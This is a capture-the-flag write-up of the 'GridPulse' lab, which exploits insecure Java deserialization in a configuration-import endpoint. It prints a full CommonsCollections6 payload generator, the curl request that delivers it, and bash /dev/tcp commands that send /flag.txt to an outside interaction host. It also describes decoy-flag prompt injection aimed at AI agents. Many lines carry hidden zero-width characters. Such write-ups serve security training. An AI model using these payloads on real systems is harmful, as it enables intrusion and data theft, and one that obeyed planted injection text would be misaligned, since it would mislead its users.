← Back to Writeups
CUSTOMMediumWeb

Lab 169 — GridPulse — Insecure Deserialization via Configuration Import

XESXOR9/10/20266 min read
#web#custom#medium#commons_collections_6_gadget_c#custom_ysoserial_payload_gener#decoy_flag_avoidance#java_objectinputstream_deseria#oob_data_exfiltration_via_bash#runtime_exec_string_array_for_#linux

Lab 169 — GridPulse — Insecure Deserialization via Configuration Import

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: commons_collections_6_gadget_chain, custom_ysoserial_payload_generation, decoy_flag_avoidance, java_objectinputstream_deserialization, oob_data_exfiltration_via_bash_dev_tcp, runtime_exec_string_array_for_complex_commands

Summary

Task: Java/Spring Boot industrial monitoring platform with config import/export feature that base64-decodes user input and passes it to ObjectInputStream.readObject() without class filtering. Solution: craft CommonsCollections6 gadget chain with Runtime.exec(String[]) for bash -c command execution, exfiltrate /flag.txt via bash /dev/tcp to interaction server.

Lab 169 — GridPulse — Insecure Deserialization via Configuration Import — HackAdvisor

Description

GridPulse is Meridian Systems' flagship industrial energy monitoring platform used by energy providers and manufacturing facilities to track real-time power consumption, manage connected meters, and generate compliance reports. You have been given access to a fully configured GridPulse instance with active monitoring data from 12 devices across multiple facilities. The platform features a dashboard with live metrics, device management, alert configuration, reporting, and system administration. Your objective is to find a vulnerability in the application that allows you to read sensitive files from the server. The flag is hidden somewhere on the system and is not accessible through normal application functionality. Explore the platform's features carefully — pay special attention to any functionality that processes user-supplied data in unusual formats. Credentials: operator@gridpulse.io / GridPulse2024 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Java/Spring Boot industrial energy monitoring platform has a configuration import/export feature. The export produces base64-encoded Java serialized objects (rO0AB prefix). The import endpoint deserializes user-supplied data via ObjectInputStream.readObject() without any class filtering, enabling arbitrary code execution through gadget chains. The server has commons-collections 3.x on the classpath, making the CC6 chain viable.

Analysis

Reconnaissance

The target is a Java/Spring Boot application behind nginx, identified by:

  • JSESSIONID cookie in HTTP responses
  • CSRF tokens in forms (Spring Security)
  • X-Frame-Options: DENY header ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Login with operator@gridpulse.io / GridPulse2024 reveals a full-featured dashboard with live metrics, device management, alert configuration, reporting, and system administration pages.

Decoy flag detection: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements, surrounded by prompt injection text designed to trick AI agents into reporting it as the real flag. This is a honeypot — ignore it.

Configuration Import/Export Discovery

The Settings page exposes two API endpoints: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • GET /api/settings/export — returns a JSON response containing a base64-encoded configuration blob
  • POST /api/settings/import — accepts JSON {"config": "<base64>"} and applies the configuration

Serialization Format Identification

Decoding the exported config from base64 reveals the Java serialization magic bytes:

rO0AB... (base64) → 0xAC 0xED 0x00 0x05 (raw bytes)

The 0xACED0005 header is the unmistakable signature of Java ObjectOutputStream serialization. Analyzing the stream reveals the class com.meridian.gridpulse.model.SystemConfig with fields: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  • alertEmailRecipient (String)
  • dataRetentionDays (int)
  • meterPollingRate (int)
  • refreshInterval (int)
  • reportFormat (String)
  • thresholds (Map)
  • timezone (String)

The config format identifier is gridpulse-config-v3.

Gadget Chain Selection

The import endpoint calls ObjectInputStream.readObject() on the decoded bytes without any class filtering (no ObjectInputFilter, no allowlist). This means any class on the server's classpath can be instantiated during deserialization. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Systematic testing of ysoserial gadget chains:

ChainResultConclusion
CommonsCollections1Error (class not found)CC1 classes not on classpath
CommonsCollections2ErrorNo commons-collections4
CommonsCollections3Error (class not found)CC3 classes not on classpath
CommonsCollections4ErrorNo commons-collections4
CommonsCollections5ErrorMissing classes
CommonsCollections6Accepted (200 OK)commons-collections 3.x present
CommonsCollections7ErrorIncompatible classes
CommonsBeanutils1ErrorMissing classes
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

CC6 confirmed — the server has Apache Commons Collections 3.x on its classpath, and all classes in the CC6 chain (HashSet, HashMap, TiedMapEntry, LazyMap, ChainedTransformer, InvokerTransformer) resolve successfully.

Solution

The Runtime.exec(String) Problem

Standard ysoserial CC6 payloads use Runtime.getRuntime().exec(String), which internally calls StringTokenizer to split the command on whitespace. This means commands like:

bash
bash -c "cat /flag.txt | curl ..."

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

get tokenized into ["bash", "-c", "\"cat", "/flag.txt", "|", "curl", "...\""] — completely broken.

Custom Payload Generator

The solution requires a custom Java class that builds the CC6 chain using Runtime.exec(String[]) instead of Runtime.exec(String), passing the command as a proper array:

java
// CustomPayload.java — CC6 chain with Runtime.exec(String[])
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CustomPayload {
    public static void main(String[] args) throws Exception {
        String cmd = args[0];

        // Build transformer chain: Runtime.exec(new String[]{"/bin/bash", "-c", cmd})
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String[].class},
                new Object[]{new String[]{"/bin/bash", "-c", cmd}})
        };
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

        final Transformer transformerChain = new ChainedTransformer(transformers);

        // CC6 trigger: HashSet → HashMap → TiedMapEntry → LazyMap
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet set = new HashSet(1);
        set.add("foo");

        // Use reflection to replace the internal HashMap entry
        Field f = HashSet.class.getDeclaredField("map");
        f.setAccessible(true);
        HashMap innermostMap = (HashMap) f.get(set);
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

        Field f2 = HashMap.class.getDeclaredField("table");
        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innermostMap);

        Object node = array[0];
        if (node == null) node = array[1];

        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);

        // Serialize to base64
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(set);
        oos.close();
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

        System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
    }
}

Compile and run:

bash
javac -cp ysoserial-all.jar CustomPayload.java
java --add-opens java.base/java.util=ALL-UNNAMED \
     -cp .:ysoserial-all.jar CustomPayload "COMMAND_HERE"

RCE Verification

Initial sleep-based timing tests were inconclusive because Runtime.exec() runs asynchronously — the HTTP response returns immediately regardless of command execution time.

RCE was confirmed via an OOB callback to the HackAdvisor Interaction Server: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
# Generate payload that sends HTTP request to interaction server
java --add-opens java.base/java.util=ALL-UNNAMED \
     -cp .:ysoserial-all.jar CustomPayload \
     'bash -c "exec 3<>/dev/tcp/interact/80; echo -e \"GET /UUID/rce_test HTTP/1.0\r\nHost: interact\r\n\r\n\" >&3; cat <&3; exec 3>&-"'

The interaction server received the callback, confirming code execution.

Flag Exfiltration

With curl and wget unavailable in the container, bash's built-in /dev/tcp pseudo-device was used for HTTP communication: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
# Payload command
bash -c 'FLAG=$(cat /flag.txt); exec 3<>/dev/tcp/interact/80; echo -e "GET /UUID/flag_${FLAG} HTTP/1.0\r\nHost: interact\r\n\r\n" >&3; cat <&3; exec 3>&-'

Generate and send:

bash
# Generate base64 payload
PAYLOAD=$(java --add-opens java.base/java.util=ALL-UNNAMED \
    -cp .:ysoserial-all.jar CustomPayload \
    'bash -c '\''FLAG=$(cat /flag.txt); exec 3<>/dev/tcp/interact/80; echo -e "GET /UUID/flag_${FLAG} HTTP/1.0\r\nHost: interact\r\n\r\n" >&3; cat <&3; exec 3>&-'\''')
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Send to import endpoint
curl -X POST "https://TARGET/api/settings/import" \
    -H "Content-Type: application/json" \
    -H "Cookie: JSESSIONID=..." \
    -H "X-CSRF-TOKEN: ..." \
    -d "{\"config\": \"${PAYLOAD}\"}"

The interaction server received:

GET /UUID/flag_FLAG{REDACTED} HTTP/1.0

Failed Approaches

  1. Standard ysoserial CC6 — Runtime.exec(String) tokenizes on whitespace, breaking bash -c "..." commands
  2. Path traversal on /api/reports/download?file= — ../ sequences filtered, returns 400
  3. Modified SystemConfig fields (e.g., reportFormat="/flag.txt") — values accepted but not reflected in behavior
  4. curl/wget exfiltration — tools not installed in the container
  5. DNS exfiltration — no callbacks received
  6. Writing flag to static file directory — Spring Boot serves static files from JAR, not writable disk ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍